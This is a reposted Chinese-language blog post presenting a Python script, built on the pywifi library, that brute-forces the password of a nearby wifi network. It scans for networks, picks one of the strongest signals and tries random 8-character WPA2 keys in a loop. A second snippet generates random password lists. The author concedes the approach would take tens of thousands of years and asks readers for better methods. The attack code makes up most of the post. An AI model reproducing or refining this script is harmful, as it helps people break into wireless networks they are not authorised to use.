python 破解wifi密碼


  破解思路 排列組合出現的所有可能 一個一個慢慢嘗試

# coding:utf-8
import time # 時間
import pywifi # 破解wifi
from pywifi import const # 引用一些定義
import random
import string


class PoJie():
def __init__(self):
wifi = pywifi.PyWiFi() # 抓取網卡接口
self.iface = wifi.interfaces()[0] # 抓取第一個無限網卡
self.iface.disconnect() # 測試鏈接斷開所有鏈接
time.sleep(1) # 休眠1秒
self.list = self.initialssidnamelist()

# 測試網卡是否屬於斷開狀態,
assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

def bies(self):
self.iface.scan() # 掃描
bessis = self.iface.scan_results()
list = []
for data in bessis:
list.append((data.ssid, data.signal))
return len(list), sorted(list, key=lambda st: st[1], reverse=True)

def getsignal(self):
while True:
n, data = self.bies()
time.sleep(1)
if n is not 0:
return data[0:10]

def initialssidnamelist(self):
ssidlist = self.getsignal()
namelist = []
for item in ssidlist:
namelist.append(item[0])
return namelist

def readPassWord(self, ssidname, myStr):

bool1 = self.test_connect(myStr, ssidname)
if len(myStr) < 8:
return False
if bool1:
print("密碼+++++++++++++正確:" + myStr + " " + ssidname)
return True
else:
print("密碼錯誤:" + myStr + " " + ssidname)
return False

def test_connect(self, findStr, ssidname): # 測試鏈接

profile = pywifi.Profile() # 創建wifi鏈接文件
profile.ssid = ssidname # wifi名稱
# profile.ssid ="Netcore" #wifi名稱
profile.auth = const.AUTH_ALG_OPEN # 網卡的開放,
profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法
profile.cipher = const.CIPHER_TYPE_CCMP # 加密單元
profile.key = findStr # 密碼

self.iface.remove_all_network_profiles() # 刪除所有的wifi文件
tmp_profile = self.iface.add_network_profile(profile) # 設定新的鏈接文件
self.iface.connect(tmp_profile) # 鏈接
time.sleep(2)
if self.iface.status() == const.IFACE_CONNECTED: # 判斷是否連接上
isOK = True
else:
isOK = False
self.iface.disconnect() # 斷開
time.sleep(1)
# 檢查斷開狀態
assert self.iface.status() in \
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK

def run(self):
passwds = []
# 生成隨機密碼的種子
src = string.ascii_lowercase
# string.ascii_letters
# 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
# string.ascii_lowercase
# 'abcdefghijklmnopqrstuvwxyz'
# string.ascii_uppercase
# 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
# string.digits
# '0123456789'
# string.letters
# 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
# string.lowercase
# 'abcdefghijklmnopqrstuvwxyz'
# string.uppercase
# 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
# string.octdigits
# '01234567'
# string.punctuation
# '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
# string.printable
# '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'
# 默認的密碼
myStr = u'13263468123.'
# 第一個wifi
wifi_frist = self.list[4]
while True:
list_passwd_all = random.sample(src, 8) # 從字母和數字中隨機取5位
random.shuffle(list_passwd_all) # 打亂列表順序
# 將列表轉化為字符串
if myStr not in passwds: # 判斷是否生成重復密碼
passwds.append(myStr)
ret = self.readPassWord(wifi_frist, u'' + myStr)
myStr = u''.join(list_passwd_all)
if ret:
return


start = PoJie()
start.run()

下面附上生成隨機密碼的代碼

import random
import string


src = string.printable
print(src)
passwords = []
file = open(u"8位密碼組合.txt", "w")
while True:
password_list = random.sample(src, 8) # 從字母和數字中隨機取8位
random.shuffle(password_list) # 打亂列表順序
password_str = str(password_list) # 密碼轉換成字符串
if password_str not in passwords:
file.write(password_str+"\n")
passwords.append(password_str)
print(password_str)

日常記錄 經過計算 就8位的小寫字母和數字的組合1s驗證一個的話 大概得花費89456.8083年才能嘗試完所有的結果 哈哈
希望大神指點 提供一下新的思路


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM